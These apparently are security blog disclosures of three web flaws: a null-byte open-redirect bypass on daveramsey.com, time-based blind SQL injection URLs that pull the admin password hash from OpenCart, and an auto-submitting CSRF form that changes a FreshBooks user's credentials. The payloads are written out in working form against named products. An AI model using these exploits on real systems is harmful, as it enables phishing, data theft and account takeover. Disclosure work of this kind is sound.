Phishers (and I’m sure marketing jerks too) love universal redirects. A universal redirect is when you visit a url that looks like one domain and it redirects you to a different site. They have their purpose, but if a site doesn’t implement protections properly it could be brand damaging. Especially in markets like finance where trust is very important, any erosion of trust can be very costly. The examples I’m about to provide can be prevented by having your website audited regularly.

The reason that phishers get away with what they do is that it’s easy to mimic the look and feel of a site, which builds your trust. We see a logo and certain colors and we respond appropriately. Companies put a ton of money into building these brands only to have that power used against them.  Now people are getting leery about clicking on just any link in an email or website, so if phishers can make it appear like you are clicking on a valid link and then whisk you away to their evil site all the better for their con.

So for a quick example. Let’s say example.com wants to keep track of who clicks on their partner site link. They might have something like.

http://www.example.com/redirect.cfm?siteURL=http://www.ngenuity-is.com

When you click on that link in theory it would record your entry in a log file and send you to ngenuity-is.com

Stop talking and get to Dave Ramsey already:

The reason I bring up daveramsey.com is because they have a similar redirect, are in an industry where trust is very important and have tried to put protections in place to prevent what I’m talking about here. If you mouse over the left hand navigation you will see that a few of the links go to a page that looks like this.

http://www.daveramsey.com/redirect/redirect.cfm?strPath=…

Dave’s team of crafty website ninjas figured that phishers would love to direct themselves anywhere so if you try and put in your own website after strPath it will just redirect back to the main site. That is where the trusty null byte comes in handy. Slipping in a single byte into the link and you have yourself a working universal redirect.

Example: http://www.daveramsey.com/redirect/redirect.cfm?strPath=%00http://www.ngenuity-is.com

The end.

I was recently asked to take down the OpenCart advisory as it was stated the information provided was not verified. I’m of the opinion that just because I was not able to exploit a portion of the advisory that it should still be published. I can not be that ignorant to think that just because I can’t somebody else can’t.

Despite that belief I published only the verifiable details and provided the details on the other “potential” attack vectors to the vendor, who took that to believe that I had not verified any of it. I politely provided evidence that the original advisory was verifiable exploitable and I also provided proof that the other, non-verified piece I provided to them was also exploitable.

Since these vulnerabilities have been fixed a while ago here are a couple examples of working exploits. By measuring the time it takes for a query to execute we can guess letters of the password hash until we know the full value. This can be used to pull out any data from the database that has been granted to the OpenCart application.

Order parameter example:
This statement takes time to execute
http://example.com/index.php?route=product/category&path=18&sort=p.price&order=ASC,(SELECT
IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(100000,SHA1(1)),0)
password FROM user WHERE username=CHAR(97,100,109,105,110))

This statement returns really quickly as the first character is obviously not CHAR(00)
http://example.com/index.php?route=product/category&path=18&sort=p.price&order=ASC,(SELECT
IF(SUBSTRING(password,1,1)=CHAR(00),BENCHMARK(100000,SHA1(1)),0)
password FROM user WHERE username=CHAR(97,100,109,105,110))

Sort parameter example:
The same attack using a different injection point not previously released.
sort parameter blind injection
http://example.com/index.php?route=product/category&path=18&sort=p.price&sort=(SELECT
%20IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(1000000,SHA1(1)),0)%20password
%20FROM%20user%20WHERE%20username=CHAR(97,100,109,105,110))--

I have run into the this particular issue a lot in the past few weeks. It’s like the new generation of web developers have forgotten about security principles (must be a web 2.0 thing.) For an example of this particular issue, I will use a zero day vulnerability in the popular time tracking / invoicing app FreshBooks. This vulnerability literally took only 5 minutes to identify. It has to make one think about the level of effort these web app companies really put into security, I know it makes me think twice about giving somebody else control of my information.

Now for the fun stuff, I will explain below that a user with a logged in FreshBooks session that visits a malicious website could have their account credentials (username, password) changed in such a manner that they would not know immediately, giving the attacker full control.

It’s all about verifiable trust

Web applications, especially ones that are password protected, rely on the fact that your browser will send the session ID with every browser request. This is a very important design consideration for web app developers designing privileged sections/actions of the application.

For example if a web app developer designs using the mentality “a user has to be logged in (has a valid session) to change their password or do any other privileged activities,” not only is the logged in user able to do those actions but any other page they visit has the ability to have their browser make those requests too. All because of the designed browser behaviour of having your session sent with your request. This is session based trust.

What we need to solve this is transaction based trust. We need the client to prove they are not only allowed from an authentication perspective but are authorized to make this transaction. Now the important part.

For a password change the old password should be provided and verified server side. For other privileged operations other tokens and methods can be used.

Tell me how to exploit FreshBooks already!

As you might have guessed by now FreshBooks does not ask for the old password when setting account information, trusting only on session authentication, bad design flaw. They ask for First Name, Last Name, Email address, username, new password, verify password. They also don’t deploy any other protection mechanisms (which I’m not going to get into here.) So when the FreshBooks user fills out the form and presses save the server takes what the user sent, verified the session was good and saved the info. No other verification is done.

Most of you won’t care, but this is the code that makes up the form in the background (in essence anyway.)

<form name=”csrf” action=”https://xxxxxx.freshbooks.com/menu.php?route=usernameAndPass” method=”post” target=”hidden”>
<input type=”text” name=”fname” value=”Joe”  />
<input type=”text” name=”lname” value=”Schmoe” />
<input type=”text” name=”email” value=”adam@ngenuity-is.com” />
<input type=”text” name=”rate” value=”0.00″ />
<input type=”text” name=”admin_username” value=”USERNAME” />
<input type=’password’ name=”admin_password” value=”PASSHERE” />
<input type=”password” name=”admin_password2″ value=”PASSHERE” />
<input type=”submit” name=”save” />
</form>

This should be pretty straight forward as to what each piece is when compared to the above image. A quick addition of <script>document.csrf.submit();</script> and the browser executes the code for us with no human interaction. Throw all of this (with a few more important details you have to figure out yourself) on a website and you have a nice little, targeted exploit.

All of this could have been avoided if FreshBooks would have simply asked the user for their old password and verified that old password. Sure there are technical controls they can put in place to protect against some of these things, but really this should have been caught during a design assessment of the application.

Special thanks to Adam Brault for helping me test the exploit outside of the lab and agreeing to be pwned.